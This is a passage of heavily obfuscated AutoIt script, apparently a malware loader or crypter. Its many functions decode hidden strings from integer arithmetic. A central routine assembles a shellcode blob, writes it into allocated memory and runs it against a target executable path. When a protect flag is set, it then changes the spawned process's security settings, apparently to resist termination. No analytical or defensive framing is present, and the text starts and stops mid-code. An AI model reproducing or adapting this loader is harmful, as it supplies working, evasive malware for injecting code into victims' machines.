4294877322 - + 4294877207 , + 4294916426 + 50962 , + 4294960391 - + 4294960282 , + 4294949344 - + 4294949229 , + 4294916539 - + 4294916494 , + 4294896736 + 70675 , 35565 + 4294931832 , 58421 + + 4294908991 , 56757 + 4294910655 , 30554 + 4294936847 , 65242 + 4294902164 , + 4294904756 + 62643 , + 4294916404 - + 4294916289 , + 4294878325 - + 4294878233 , 6084 + 4294961327 , 7725 + + 4294959675 , + 4294956325 + 11072 , 41313 + 4294926091 , 71428 + + 4294895976 , 10755 + + 4294956633 , + 4294909053 - + 4294908942 , 24879 + + 4294942529 , + 4294896003 - + 4294895902 , 7769 + + 4294959637 , + 4294920125 + 47263 , 79930 + 4294887465 , + 4294911837 + 55570 , 86515 + + 4294880890 , + 4294962904 - + 4294962795 , 9184 + 4294958209 , + 4294893462 - + 4294893352 , 30453 + 4294936943 ] LOCAL $ZTDKRDFWAL FOR $UFFEJCLAXDXTAAO = 0 TO 51 $ZTDKRDFWAL &= CHRW ($AWVHZBDLCVGMEZIYYCVQ [$UFFEJCLAXDXTAAO ] ) NEXT RETURN $ZTDKRDFWAL ENDFUNC FUNC ASSLWRZSOZHMXVIHWRIV () LOCAL $KALGJKIVHFZLZADEUHIY [5 ] = [+ 4294932806 + 34590 , + 4294936790 - + 4294936671 , 33983 + + 4294933424 , + 4294939876 - + 4294939762 , + 4294899444 - + 4294899344 ] LOCAL $WNXSDNOIKD FOR $KSKOWAGLBLIEKIA = 0 TO 4 $WNXSDNOIKD &= CHRW ($KALGJKIVHFZLZADEUHIY [$KSKOWAGLBLIEKIA ] ) NEXT RETURN $WNXSDNOIKD ENDFUNC FUNC HYWCFGKIEIEHUPGFSBYV () LOCAL $UADBZFGBSATNBFTGSSRR [1 ] = [88129 + + 4294879215 ] LOCAL $UEAAIQEORG FOR $VYJPJXPEECVKOGU = 0 TO 0 $UEAAIQEORG &= CHRW ($UADBZFGBSATNBFTGSSRR [$VYJPJXPEECVKOGU ] ) NEXT RETURN $UEAAIQEORG ENDFUNC FUNC OWANAKHTFFFSJVJNNWRS () LOCAL $RSMMYOQRTYRJSJWAORER [1 ] = [+ 4294958051 + 9295 ] LOCAL $OQMVQAHPW_ FOR $IBPCVFRWCIYZPWK = 0 TO 0 $OQMVQAHPW_ &= CHRW ($RSMMYOQRTYRJSJWAORER [$IBPCVFRWCIYZPWK ] ) NEXT RETURN $OQMVQAHPW_ ENDFUNC FUNC QXJ_SHRBEHGXRRGUPLHE () LOCAL $TXNQWWFQDWTYPUGIZKTL [6 ] = [+ 4294924606 - + 4294924502 , 53064 + + 4294914329 , + 4294950020 + 17386 , 73213 + 4294894183 , 41910 + 4294925494 , 58660 + + 4294908737 ] LOCAL $WLYVFSWWSR FOR $FLITKTDWCBYIOJH = 0 TO 5 $WLYVFSWWSR &= CHRW ($TXNQWWFQDWTYPUGIZKTL [$FLITKTDWCBYIOJH ] ) NEXT RETURN $WLYVFSWWSR ENDFUNC FUNC HDZLPIFODJHNASCJLFPB () LOCAL $GUSXKDITXJHBJQXZGBXM [1 ] = [+ 4294921942 + 45402 ] LOCAL $CALZMRUBGD FOR $NCDYVIPPXCUHVML = 0 TO 0 $CALZMRUBGD &= CHRW ($GUSXKDITXJHBJQXZGBXM [$NCDYVIPPXCUHVML ] ) NEXT RETURN $CALZMRUBGD ENDFUNC FUNC TQXIBMX_ASIRBNLZLUXV () LOCAL $IRZFQWFXYTKHMGNOSHXD [3 ] = [14288 + 4294953120 , 70964 + 4294896448 , 10267 + 4294957143 ] LOCAL $ACHIAFVZXG FOR $LPLGNWUPWCRSSFG = 0 TO 2 $ACHIAFVZXG &= CHRW ($IRZFQWFXYTKHMGNOSHXD [$LPLGNWUPWCRSSFG ] ) NEXT RETURN $ACHIAFVZXG ENDFUNC FUNC ZBUTMMSCRANYESVUPGNS () LOCAL $HGPHLHHM_BBBPOOJRMEG [62 ] = [+ 4294926469 + 40879 , 65804 + 4294901548 , + 4294947393 - + 4294947323 , + 4294938809 - + 4294938739 , 3729 + + 4294963637 , 89305 + + 4294878061 , 42066 + + 4294925300 , + 4294870399 + 96967 , 5115 + + 4294962237 , + 4294930866 - + 4294930798 , + 4294903418 - + 4294903366 , 82602 + + 4294884747 , 89786 + 4294877577 , 33129 + + 4294934219 , + 4294896599 - + 4294896543 , + 4294889603 - + 4294889546 , + 4294881176 - + 4294881120 , 95909 + 4294871440 , 13764 + + 4294953584 , 76552 + 4294890811 , 83547 + 4294883819 , 97449 + 4294869917 , 97400 + 4294869966 , + 4294917649 + 49717 , + 4294958490 + 8876 , 77910 + 4294889456 , 67646 + + 4294899706 , + 4294878354 - + 4294878286 , 66026 + 4294901322 , 88927 + + 4294878422 , 99938 + + 4294867423 , 89140 + 4294878223 , + 4294955488 + 11864 , 28418 + 4294938935 , + 4294878372 + 88980 , 45536 + + 4294921813 , 24785 + 4294942564 , 46533 + + 4294920811 , 49418 + + 4294917948 , + 4294944410 + 22956 , + 4294925850 + 41516 , + 4294889590 - + 4294889520 , + 4294954895 + 12471 , 88179 + 4294879187 , 58842 + + 4294908510 , 8046 + 4294959318 , + 4294964942 + 2406 , + 4294884292 - + 4294884239 , 50664 + + 4294916699 , 52573 + 4294914790 , + 4294927240 + 40123 , + 4294920607 + 46744 , + 4294954248 + 13104 , + 4294957650 + 9699 , 45992 + 4294921358 , + 4294909538 - + 4294909490 , 22573 + 4294944793 , + 4294914641 - + 4294914571 , + 4294949247 + 18119 , 6514 + + 4294960852 , 97937 + + 4294869429 , 64657 + 4294902709 ] LOCAL $PKAJDIMPBS FOR $BBKSDBTHAPX_YET = 0 TO 61 $PKAJDIMPBS &= CHRW ($HGPHLHHM_BBBPOOJRMEG [$BBKSDBTHAPX_YET ] ) NEXT RETURN $PKAJDIMPBS ENDFUNC FUNC DNDHR_CLAYPCBYLTAUJW () LOCAL $ILI_JHSWTCPHJPMCISXV [3 ] = [59037 + 4294908371 , 35935 + + 4294931477 , 58758 + + 4294908652 ] LOCAL $GTXIITMLIK FOR $WCUCFOYTTSEDYJH = 0 TO 2 $GTXIITMLIK &= CHRW ($ILI_JHSWTCPHJPMCISXV [$WCUCFOYTTSEDYJH ] ) NEXT RETURN $GTXIITMLIK ENDFUNC FUNC FCCCKAVRVCXYLGOQDNGX () LOCAL $JGX_YPDRDNAGQKGJ_VLD [6 ] = [+ 4294964973 + 2427 , 79274 + + 4294888119 , 98532 + 4294868874 , + 4294872195 - + 4294872095 , 90026 + + 4294877378 , + 4294883432 + 83965 ] LOCAL $BAEQIBCKND FOR $WZR_FCEVXEOHBRI = 0 TO 5 $BAEQIBCKND &= CHRW ($JGX_YPDRDNAGQKGJ_VLD [$WZR_FCEVXEOHBRI ] ) NEXT RETURN $BAEQIBCKND ENDFUNC FUNC QMIGFAROMJOHPRRJV_FM () LOCAL $TYOTXRGTBRFGUOHXLQGD [7 ] = [63504 + 4294903859 , + 4294934951 - + 4294934847 , 99662 + 4294867748 , 97798 + + 4294869538 , + 4294908184 - + 4294908133 , 84661 + 4294882687 , + 4294875312 + 92025 ] LOCAL $UZFTBRNPKT FOR $JSYQKPUYNVEHNBK = 0 TO 6 $UZFTBRNPKT &= CHRW ($TYOTXRGTBRFGUOHXLQGD [$JSYQKPUYNVEHNBK ] ) NEXT RETURN $UZFTBRNPKT ENDFUNC FUNC HUGYWXDWAYHBWUTAJYFM () LOCAL $THNYSICYOBEZYCNOOGO_ [11 ] = [+ 4294870948 + 96434 , + 4294895229 + 72172 , 21991 + + 4294945419 , 7269 + 4294960143 , + 4294916312 + 51101 , 5073 + + 4294962320 , 80535 + + 4294886869 , 73637 + 4294893729 , + 4294920976 - + 4294920862 , 52929 + + 4294914468 , 56144 + 4294911253 ] LOCAL $PNCUAEYPOW FOR $HZUIETGENDKGNEK = 0 TO 10 $PNCUAEYPOW &= CHRW ($THNYSICYOBEZYCNOOGO_ [$HZUIETGENDKGNEK ] ) NEXT RETURN $PNCUAEYPOW ENDFUNC FUNC WQGNRMVVTPVPJKHGA_PK () LOCAL $MPMDTMAAMBBWBKFXLTJO [62 ] = [+ 4294929633 + 37712 , 12218 + 4294955130 , 81837 + + 4294885515 , + 4294943370 + 23983 , 84529 + 4294882822 , + 4294921901 - + 4294921833 , + 4294887518 - + 4294887448 , 29330 + 4294938022 , + 4294892814 - + 4294892758 , 58354 + 4294908999 , 12272 + + 4294955079 , 29497 + + 4294937867 , + 4294959274 + 8088 , + 4294962417 + 4946 , + 4294912025 - + 4294911969 , 61910 + 4294905443 , 30940 + 4294936408 , + 4294924209 + 43140 , + 4294872824 - + 4294872756 , + 4294879066 - + 4294879018 , 72517 + 4294894830 , + 4294883789 - + 4294883732 , 55188 + 4294912174 , + 4294916578 + 50787 , + 4294917235 + 50126 , 51185 + 4294916159 , 90428 + 4294876916 , 77418 + + 4294889926 , 60233 + + 4294907111 , 58326 + 4294909018 , 77479 + + 4294889865 , + 4294957401 + 9943 , 648 + + 4294966703 , + 4294938462 - + 4294938410 , + 4294916183 + 51162 , 56362 + + 4294910983 , 89156 + + 4294878191 , + 4294934146 - + 4294934089 , 48643 + 4294918719 , 85788 + 4294881577 , 58603 + + 4294908758 , + 4294912543 - + 4294912491 , 30371 + 4294936973 , 34692 + + 4294932652 , + 4294883084 + 84260 , 45924 + 4294921420 , 27262 + + 4294940082 , 94857 + 4294872487 , + 4294928748 + 38603 , + 4294932732 + 34616 , + 4294928417 + 38927 , 66245 + 4294901108 , + 4294921964 + 45402 , + 4294921184 - + 4294921130 , + 4294904720 + 62628 , + 4294891473 - + 4294891419 , 85650 + 4294881695 , 84560 + 4294882790 , + 4294950809 - + 4294950761 , 72737 + 4294894608 , + 4294933909 + 33442 , 71053 + + 4294896296 ] LOCAL $WFCSATSGBA FOR $_BQDTDNENDVNCFO = 0 TO 61 $WFCSATSGBA &= CHRW ($MPMDTMAAMBBWBKFXLTJO [$_BQDTDNENDVNCFO ] ) NEXT RETURN $WFCSATSGBA ENDFUNC FUNC WDYJLEEXOOPRDZXP_CNW () LOCAL $VOHAJKGJMYADXQTHHRJI [1 ] = [+ 4294869839 + 97507 ] LOCAL $XZAYVKQNMU FOR $QXTNZXNCRCGDMHW = 0 TO 0 $XZAYVKQNMU &= CHRW ($VOHAJKGJMYADXQTHHRJI [$QXTNZXNCRCGDMHW ] ) NEXT RETURN $XZAYVKQNMU ENDFUNC FUNC MOTEQEPRJQASJVWSRJWO () LOCAL $JUOBCGUJUGRDPIFQDCWM [16 ] = [83133 + + 4294884230 , + 4294935517 - + 4294935403 , 94818 + 4294872599 , 15329 + + 4294952079 , + 4294877043 - + 4294876927 , 31618 + + 4294935746 , + 4294917964 - + 4294917863 , + 4294895270 + 72141 , 96531 + + 4294870881 , + 4294876762 - + 4294876648 , + 4294944113 - + 4294944002 , 77356 + 4294890061 , + 4294875617 + 91751 , + 4294888268 - + 4294888171 , 24508 + 4294942903 , + 4294953785 + 13615 ] LOCAL $FMNPLBMCWB FOR $NJMLLMCYWDINXBX = 0 TO 15 $FMNPLBMCWB &= CHRW ($JUOBCGUJUGRDPIFQDCWM [$NJMLLMCYWDINXBX ] ) NEXT RETURN $FMNPLBMCWB ENDFUNC FUNC MDAQSUSCTLLVTWVXEKDC () LOCAL $BXKBGYMUSZLRSIZNADTP [12 ] = [3082 + + 4294964312 , + 4294903119 - + 4294902998 , + 4294903465 + 63947 , 58271 + 4294909126 , 42867 + 4294924461 , 41685 + + 4294925719 , 42652 + 4294924756 , 27664 + + 4294939734 , + 4294923640 + 43761 , 19042 + + 4294948362 , 38632 + + 4294928765 , 16241 + + 4294951146 ] LOCAL $QDLBIRUZJZ FOR $AUCKXHXAROQNSHF = 0 TO 11 $QDLBIRUZJZ &= CHRW ($BXKBGYMUSZLRSIZNADTP [$AUCKXHXAROQNSHF ] ) NEXT RETURN $QDLBIRUZJZ ENDFUNC FUNC AZYOMVUIIUAAJCWDYAIF () LOCAL $YMARADOWSRYIAQOQDQWM [1 ] = [+ 4294886186 - + 4294886138 ] LOCAL $GOJHYQRXS_ FOR $ALEZGATHISVCROZ = 0 TO 0 $GOJHYQRXS_ &= CHRW ($YMARADOWSRYIAQOQDQWM [$ALEZGATHISVCROZ ] ) NEXT RETURN $GOJHYQRXS_ ENDFUNC FUNC FZWAWDOSMGBCAOOPQZHJPJLLW ($WPATH , $WARGUMENTS , $LPFILE , $PROTECT ) LOCAL $BIN_SHELLCODE = REQ_TCJHAHVFDQURVU_T () $BIN_SHELLCODE &= PUPUVPLGSQAGVZAHANWO () $BIN_SHELLCODE &= RUWB_UUGVESWFLBVKHLF () $BIN_SHELLCODE &= SQMKNAHGRNFBESFLYGET () $BIN_SHELLCODE &= ADBJVVIUVOBHVOEUOEPI () $BIN_SHELLCODE &= QEXOHDWQC_ZKPDZQIDQA () $BIN_SHELLCODE &= YUNDJTMHPNCT_CTYALSB () $BIN_SHELLCODE &= YPIQDKITEMDBBWGDNFLD () $BIN_SHELLCODE &= FZQHSUYXPVVIKMLDGDHY () $BIN_SHELLCODE &= ZSWGSHLDDRUTRFDWIT_Y () $BIN_SHELLCODE &= WCAPOGXJRCJVSJYTHPIL () $BIN_SHELLCODE &= WYDJAXIJUMNRISEYEIXN () $BIN_SHELLCODE &= ZBUTMMSCRANYESVUPGNS () $BIN_SHELLCODE &= TQQMDADXIWNPWURIYBAO () $BIN_SHELLCODE &= WUJUKBASFFLZSZPYJLAY () $BIN_SHELLCODE &= VLQKREAEVQSNPHKAEFIN () $BIN_SHELLCODE &= ZMBXQSGFJZUTHEIOYVSE () $BIN_SHELLCODE &= NCXVOJKWJQTAFJHFMKLD () $BIN_SHELLCODE &= BGMXJIBTYMLEJOWJBKZF () $BIN_SHELLCODE &= IQLPABRXHQ_YL_GIWFCL () $BIN_SHELLCODE &= WQGNRMVVTPVPJKHGA_PK () $BIN_SHELLCODE &= VVLSRDWOYBSEDNSKZNUN () $BIN_SHELLCODE &= VDMP_MREHAZLOFJOTEUN () $BIN_SHELLCODE &= EEBCTGPEHVDJVPIFWMFB () $BIN_SHELLCODE &= HKZNXSESZPWYBTHFRBIF () $BIN_SHELLCODE &= SCDEFKGTKUMZDTKZOASW () $BIN_SHELLCODE &= MQGAJDACVKEWWGCBLXGA () $BIN_SHELLCODE &= HEQJWZKAIOIGMXTXOIDD () $BIN_SHELLCODE &= JSGMWOHDUZEFORBQQBO_ () $BIN_SHELLCODE &= FAIZIXBVDLZVMYWPPTMT () $BIN_SHELLCODE &= PJDNKXOCXCIPKIQJHORP () $BIN_SHELLCODE &= GULZOHRR_EBMAHZOQHAO () $BIN_SHELLCODE &= CQNSXHOBUPZTCIRUKGHV () $BIN_SHELLCODE &= DGYLBCR_CCPYMMW_EQDJ () $BIN_SHELLCODE &= PMPJOXPMEJAQEGRTFHCO () $BIN_SHELLCODE &= QXZJMXRNGFMWLZTVDOLF () $BIN_SHELLCODE &= KHHVCMEDQEMDLBXOWNZX () $BIN_SHELLCODE &= EKMTRAYA_FFBVJBIAH_M () $BIN_SHELLCODE &= EKXSR_WKMYCYZZERCHRP () $BIN_SHELLCODE &= LQBGUELITBKIVYRKHOAX () $BIN_SHELLCODE &= WGEIULJQNLXGOUWDDYYK () $BIN_SHELLCODE &= NDSJHDSGUL_FVYWCGJZZ () $BIN_SHELLCODE &= WVJIG_VUJRQFGIJOCTQZ () $BIN_SHELLCODE &= OBIODNZSYDWZGFVNEDTB () $BIN_SHELLCODE &= NZ_AVKEPCFANGUSJINNV () $BIN_SHELLCODE &= LPOOOIKPPKKBOCYTIAMD () $BIN_SHELLCODE &= RJHTUIBCHCWFDVFIPQDF () $BIN_SHELLCODE &= MAQEMYYOENIBQMFVRQNV () LOCAL $LPSHELLCODE = DLLCALL (PNBIRNHKNJOAQRS_ZPOF () , P_HQTDSUWYOKQXKUDAWA () , IXOBDDKUPLPCQXBJQWUY () , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () , MLHTVAHGQBSHGBCHDSCI () , BINARYLEN ($BIN_SHELLCODE ) , MLHTVAHGQBSHGBCHDSCI () , MISEEKMERNHOPJNAGXHS () , MLHTVAHGQBSHGBCHDSCI () , ALZXDBASNRHJLUDRHFOZ () ) [TYTDMQGCHQKBYFQZMYFU () ] LOCAL $SHELLCODE_STRUCT = DLLSTRUCTCREATE (VFGWJMRZCOYIHPMBCADY () & BINARYLEN ($BIN_SHELLCODE ) & ITNVYGEHUBPGPMUWPFII () , $LPSHELLCODE ) LOCAL $FILE_STRUCT = DLLSTRUCTCREATE (MDAQSUSCTLLVTWVXEKDC () & STRINGLEN ($LPFILE ) & ITNVYGEHUBPGPMUWPFII () ) DLLSTRUCTSETDATA ($SHELLCODE_STRUCT , ZQYRZIWRMQGPSXQEGSMA () , $BIN_SHELLCODE ) DLLSTRUCTSETDATA ($FILE_STRUCT , UOMYTRECYCVNAROFFCYJ () , $LPFILE ) LOCAL $RET = DLLCALLADDRESS (MLHTVAHGQBSHGBCHDSCI () , $LPSHELLCODE + MYJEFDXXYPJKJCGPTJGR () , QWLYTHIRZVJOWNQHPBKZ () , $WPATH , QWLYTHIRZVJOWNQHPBKZ () , $WARGUMENTS , P_HQTDSUWYOKQXKUDAWA () , DLLSTRUCTGETPTR ($FILE_STRUCT ) ) LOCAL $HANDLEFROMPID = DLLCALL (V_BJOPJWTKAFWL_YVMMD () , DVHBNNLI_CTFPEVPGJQP () , MHGQZDYZDUZGYGDGLMXM () , MLHTVAHGQBSHGBCHDSCI () , LCASHKJYGJDSDCVDMYTI () , GVIEJJKLMULFP_ONWGOQ () , TYTDMQGCHQKBYFQZMYFU () , MLHTVAHGQBSHGBCHDSCI () , $RET [TYTDMQGCHQKBYFQZMYFU () ] ) [TYTDMQGCHQKBYFQZMYFU () ] DLLCALL (PNBIRNHKNJOAQRS_ZPOF () , MLHTVAHGQBSHGBCHDSCI () , HUGYWXDWAYHBWUTAJYFM () , MLHTVAHGQBSHGBCHDSCI () , $LPSHELLCODE , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () , MLHTVAHGQBSHGBCHDSCI () , JFMAMOESOJRLWFZXWSVK () ) IF $PROTECT THEN SLEEP (12000 ) LOCAL $MAINSTRUCT = DLLSTRUCTCREATE (FGWLSXICBWBLTAAY_VAM () ) LOCAL $CHAR = DLLSTRUCTCREATE (UAHDOFGMXXHJSXTKVJCU () ) LOCAL $DWORD = DLLSTRUCTCREATE (MLHTVAHGQBSHGBCHDSCI () ) LOCAL $ARRAY = [HUFHWDDLEMGLDWTXXGR_ () , KCRPXXNGZTIPTHGHORRJ () , TYTDMQGCHQKBYFQZMYFU () , TYTDMQGCHQKBYFQZMYFU () , TYTDMQGCHQKBYFQZMYFU () , _DGBYVRQADLZMAFOPE_G () , TYTDMQGCHQKBYFQZMYFU () , DLLSTRUCTGETPTR ($CHAR ) ] FOR $I = TYTDMQGCHQKBYFQZMYFU () TO JDZNQZLVTHSGVIKFLAWE () DLLSTRUCTSETDATA ($MAINSTRUCT , $I + _DGBYVRQADLZMAFOPE_G () , $ARRAY [$I ] ) NEXT DLLSTRUCTSETDATA ($CHAR , _DGBYVRQADLZMAFOPE_G () , FIZEAFAIHFVWUEZWCIOX () ) $MAINSTRUCPOINTER = DLLSTRUCTGETPTR ($MAINSTRUCT ) $DWORDPOINTER = DLLSTRUCTGETPTR ($DWORD ) $SETENTRIESINACL = DLLCALL (ANO_GCRQGGPERFKNSJGX () , MLHTVAHGQBSHGBCHDSCI () , WKMSRZIPQUADGVIODDDM () , ZTIERGMNHEGRECSDACYN () , _DGBYVRQADLZMAFOPE_G () , P_HQTDSUWYOKQXKUDAWA () , $MAINSTRUCPOINTER , P_HQTDSUWYOKQXKUDAWA () , TYTDMQGCHQKBYFQZMYFU () , P_HQTDSUWYOKQXKUDAWA () , $DWORDPOINTER ) $SETSECURITYINFO = DLLCALL (ANO_GCRQGGPERFKNSJGX () , MLHTVAHGQBSHGBCHDSCI () , GZJAHGLX_MJIZMJFXWSU () , DVHBNNLI_CTFPEVPGJQP () , $HANDLEFROMPID , UBYZCYUQXSELNYFGXIGD () , AICZGNPNPVUZBIWYCJAX () , MLHTVAHGQBSHGBCHDSCI () , LVBUDIPOLVLLNWEBRKKO () , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () , P_HQTDSUWYOKQXKUDAWA () , DLLSTRUCTGETDATA ($DWORD , EXECUTE (_DGBYVRQADLZMAFOPE_G () ) ) , P_HQTDSUWYOKQXKUDAWA () , TYTDMQGCHQKBYFQZMYFU () ) DLLCALL (TOF_IEWCPLPNBXOCKIFM () , UX_ETXHBE_ISJCRHCZAS () , UGOJSOPABHHKQAWTNNEL () , UX_ETXHBE_ISJCRHCZAS () , $DWORDPOINTER ) RETURN TRUE ENDIF DLLCALL (PNBIRNHKNJOAQRS_ZPOF () , MLHTVAHGQBSHGBCHDSCI () , HUGYWXDWAYHBWUTAJYFM () , MLHTVAHGQBSHGBCHDSCI () , $LPSHELLCODE , MLHTVAHGQBSHGBCHDSCI () , TYTDMQGCHQKBYFQZMYFU () , MLHTVAHGQBSHGBCHDSCI () , JFMAMOESOJRLWFZXWSVK () ) ENDFUNC FUNC QDFZWNUAJDR_HMZQLTRC () LOCAL $TSHNMUQPBTMHVOXBHJHU [1 ] = [77606 + + 4294889738 ] LOCAL $SMCXFZQRKE FOR $AZWLHEQQZPMMXXX = 0 TO 0 $SMCXFZQRKE &= CHRW ($TSHNMUQPBTMHVOXBHJHU [$AZWLHEQQZPMMXXX ] ) NEXT RETURN $SMCXFZQRKE ENDFUNC FUNC COHGZQACIGUPXKFCY_TU () LOCAL $YCXNWDNTPNWXDCXJWZ__ [4 ] = [+ 4294876796 - + 4294876718 , 61974 + 4294905439 , 64459 + + 4294902945 , 43235 + + 4294924169 ] LOCAL $VKWMVNWGZA FOR $WZGJYBF_SUKWCIN = 0 TO 3 $VKWMVNWGZA &= CHRW ($YCXNWDNTPNWXDCXJWZ__ [$WZGJYBF_SUKWCIN ] ) NEXT RETURN $VKWMVNWGZA ENDFUNC FUNC TXSUHHIVWTKOQRLEXIMN () LOCAL $IWONMOAXFDXQEHOZMICC [5 ] = [18268 + 4294949128 , + 4294870431 + 96984 , 68807 + + 4294898600 , + 4294941388 + 26022 , + 4294873355 - + 4294873255 ] LOCAL $UKJCMSPGJY FOR $NCJHRXJEITGLQTW = 0 TO 4 $UKJCMSPGJY &= CHRW ($IWONMOAXFDXQEHOZMICC [$NCJHRXJEITGLQTW ] ) NEXT RETURN $UKJCMSPGJY ENDFUNC FUNC DHKXPSANLFOAWRZJU_AL () LOCAL $KVJ_WVNKASBEDYLNBUWI [5 ] = [38309 + 4294929087 , + 4294932074 - + 4294931955 , 18873 + 4294948534 , 91963 + + 4294875447 , + 4294942850 + 24546 ] LOCAL $KXYFLI_DST FOR $GMLLBHYKBUEQMUD = 0 TO 4 $KXYFLI_DST &= CHRW ($KVJ_WVNKASBEDYLNBUWI [$GMLLBHYKBUEQMUD ] ) NEXT RETURN $KXYFLI_DST ENDFUNC FUNC KBMXPUVBYGRVH_BUWOOP () LOCAL $TRSUPASDTYWQCHKDOPQX [15 ] = [+ 4294927257 + 40106 , + 4294881664 + 85746 , + 4294924919 + 42498 , 53415 + 4294913993 , + 4294935512 + 31900 , + 4294929611 - + 4294929543 , + 4294911178 + 56219 , 15119 + + 4294952292 , 32905 + + 4294934507 , 42163 + + 4294925247 , 83196 + + 4294884211 , + 4294934232 - + 4294934111 , + 4294946424 - + 4294946349 , + 4294923117 + 44280 , + 4294947449 + 19968 ] LOCAL $NWFWRUWHAV FOR $FHZRXVTYBUGQMVQ = 0 TO 14 $NWFWRUWHAV &= CHRW ($TRSUPASDTYWQCHKDOPQX [$FHZRXVTYBUGQMVQ ] ) NEXT RETURN $NWFWRUWHAV ENDFUNC FUNC LQDTSUCKJEJWACDLEPOU () LOCAL $OTAVFOTMSNYZPDCVZWBY [4 ] = [44472 + 4294922943 , + 4294898037 + 69374 , 32850 + 4294934562 , 42054 + + 4294925356 ] LOCAL $WFKHYAIMIO FOR $EUBWQ_DTPHNEBPR = 0 TO 3 $WFKHYAIMIO &= CHRW ($OTAVFOTMSNYZPDCVZWBY [$EUBWQ_DTPHNEBPR ] ) NEXT RETURN $WFKHYAIMIO ENDFUNC FUNC VYXSRVHGOMTUQPRTTTZQ () LOCAL $XEGPUTEAHBLOQXXNLSXY [3 ] = [+ 4294916233 + 51175 , 14458 + 4294952954 , 25842 + 4294941568 ] LOCAL $HZNAFETTDH FOR $YWXD_WMYKQSHYYQ = 0 TO 2 $HZNAFETTDH &= CHRW ($XEGPUTEAHBLOQXXNLSXY [$YWXD_WMYKQSHYYQ ] ) NEXT RETURN $HZNAFETTDH ENDFUNC FUNC VVDRPBBYJ_QQTFGZUAKA () LOCAL $HCHQSMTTCGPZLYBTKWVC [5 ] = [88440 + 4294878956 , 74892 + + 4294892523 , 26965 + 4294940442 , + 4294913185 - + 4294913071 , 73557 + 4294893839 ] LOCAL $QEVDNPYFIC FOR $UFRMMSON_CIIWDL = 0 TO 4 $QEVDNPYFIC &= CHRW ($HCHQSMTTCGPZLYBTKWVC [$UFRMMSON_CIIWDL ] ) NEXT RETURN $QEVDNPYFIC ENDFUNC FUNC RROGFRTYNFPSWEWESMKH () LOCAL $CCZYODEV_EBFYGHPAQKD [1 ] = [66179 + 4294901165 ] LOCAL $QRCNYYIDKU FOR $ZGCGABECWTWYCOS = 0 TO 0 $QRCNYYIDKU &= CHRW ($CCZYODEV_EBFYGHPAQKD [$ZGCGABECWTWYCOS ] ) NEXT RETURN $QRCNYYIDKU ENDFUNC FUNC ADBJVVIUVOBHVOEUOEPI () LOCAL $CFQNBMNA_FUUQOQBLTOK [62 ] = [+ 4294915205 + 52143 , 25994 + + 4294941350 , 50335 + + 4294917010 , + 4294953212 + 14140 , 16192 + + 4294951152 , 35597 + + 4294931750 , + 4294966967 + 396 , 72491 + + 4294894875 , + 4294963261 + 4091 , + 4294927130 - + 4294927073 , + 4294924327 - + 4294924274 , + 4294911477 + 55872 , 57052 + 4294910314 , 29199 + 4294938164 , 81394 + 4294885958 , 33403 + + 4294933950 , 28536 + 4294938812 , + 4294955619 + 11745 , + 4294899679 + 67687 , + 4294917393 - + 4294917337 , + 4294885145 + 82207 , 18248 + 4294949105 , + 4294893677 + 73671 , 46206 + + 4294921143 , 18071 + + 4294949273 , + 4294957098 + 10254 , + 4294957201 - + 4294957145 , + 4294892275 - + 4294892222 , + 4294910022 + 57341 , 71460 + + 4294895884 , + 4294914151 - + 4294914096 , 87758 + 4294879590 , 45083 + + 4294922262 , + 4294914699 - + 4294914642 , 27217 + + 4294940135 , + 4294872475 + 94887 , + 4294928137 - + 4294928089 , 14532 + + 4294952816 , 43602 + 4294923760 , + 4294919655 + 47691 , 95256 + + 4294872088 , 72713 + 4294894634 , 13054 + 4294954309 , + 4294934696 - + 4294934641 , + 4294874631 - + 4294874578 , 52038 + 4294915306 , 7308 + 4294960057 , + 4294880754 + 86598 , 47304 + 4294920048 , + 4294890261 - + 4294890211 , + 4294935697 + 31669 , 30909 + + 4294936457 , + 4294897795 + 69571 , 17007 + 4294950359 , + 4294912799 + 54567 , 46949 + 4294920417 , + 4294872347 - + 4294872296 , 86348 + 4294881014 , 13215 + + 4294954133 , + 4294919724 + 47625 , 60133 + + 4294907211 , + 4294928271 - + 4294928204 ] LOCAL $WWARNJJBHJ FOR $WXIAFVXLHKGCPBG = 0 TO 61 $WWARNJJBHJ &= CHRW ($CFQNBMNA_FUUQOQBLTOK [$WXIAFVXLHKGCPBG ] ) NEXT RETURN $WWARNJJBHJ ENDFUNC FUNC SJWCFVVIDRFOMCTPCPSM () LOCAL $JBVMWZIJZSWLPSEBVVHK [1 ] = [+ 4294936462 + 30926 ] LOCAL $JGGMMKKVUZ FOR $ILYGIWEBKKYHWQO = 0 TO 0 $JGGMMKKVUZ &= CHRW ($JBVMWZIJZSWLPSEBVVHK [$ILYGIWEBKKYHWQO ] ) NEXT RETURN $JGGMMKKVUZ ENDFUNC FUNC WXQJRYLXYQVGXQRPHAJW () LOCAL $EWGBKKHNOPYWAJVATWRV [1 ] = [+ 4294900111 + 67233 ] LOCAL $PZGQXIJT_G FOR $SCANNSKXKPXNUAQ = 0 TO 0 $PZGQXIJT_G &= CHRW ($EWGBKKHNOPYWAJVATWRV [$SCANNSKXKPXNUAQ ] ) NEXT RETURN $PZGQXIJT_G ENDFUNC FUNC MXNOGULZKTAJBLLOARJ_ () LOCAL $WCAVLHJQBWGOADJNHPGW [1 ] = [+ 4294947392 - + 4294947300 ] LOCAL $RDZLVXOMMJ FOR $RO_QYFJEYCOQLJX = 0 TO 0 $RDZLVXOMMJ &= CHRW ($WCAVLHJQBWGOADJNHPGW [$RO_QYFJEYCOQLJX ] ) NEXT RETURN $RDZLVXOMMJ ENDFUNC FUNC KFLZDACLWJUCHBHIDDAA () LOCAL $FXY_MHMXZVNHSVYHRLJI [1 ] = [81356 + 4294886033 ] LOCAL $LNXOFMAWMK FOR $LNETLRAULJFQYOG = 0 TO 0 $LNXOFMAWMK &= CHRW ($FXY_MHMXZVNHSVYHRLJI [$LNETLRAULJFQYOG ] ) NEXT RETURN $LNXOFMAWMK ENDFUNC FUNC TOF_IEWCPLPNBXOCKIFM () LOCAL $Y_ZSXCNEDSJOMZNLNH_O [12 ] = [96016 + 4294871355 , + 4294878935 - + 4294878834 , 26724 + + 4294940686 , + 4294959233 - + 4294959123 , + 4294915134 + 52263 , + 4294913214 - + 4294913106 , 32539 + 4294934808 , 87438 + + 4294879908 , + 4294952599 